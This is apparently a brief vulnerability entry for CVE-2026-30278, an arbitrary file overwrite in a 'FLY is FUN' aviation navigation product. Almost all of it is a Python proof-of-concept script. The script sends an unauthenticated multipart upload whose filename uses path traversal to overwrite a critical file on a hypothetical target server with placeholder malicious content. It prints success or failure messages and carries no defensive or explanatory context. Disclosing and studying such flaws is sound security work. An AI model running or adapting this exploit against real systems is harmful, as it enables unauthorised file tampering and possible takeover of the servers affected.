CVE-2026-30278 FLY is FUN航空导航任意文件覆盖漏洞

import requests # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "http://target-server.com/api/import" # Malicious file content intended to overwrite a critical file # e.g., overwriting a configuration file or a script malicious_content = b"MALICIOUS_CODE_PAYLOAD" # The target internal file path to overwrite (Path Traversal) filename = "../../../../../path/to/critical/system_file.dat" # Construct the multipart form data files = { 'file': (filename, malicious_content, 'application/octet-stream') } try: # Sending the request without authentication (PR:N) response = requests.post(target_url, files=files, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File may have been overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")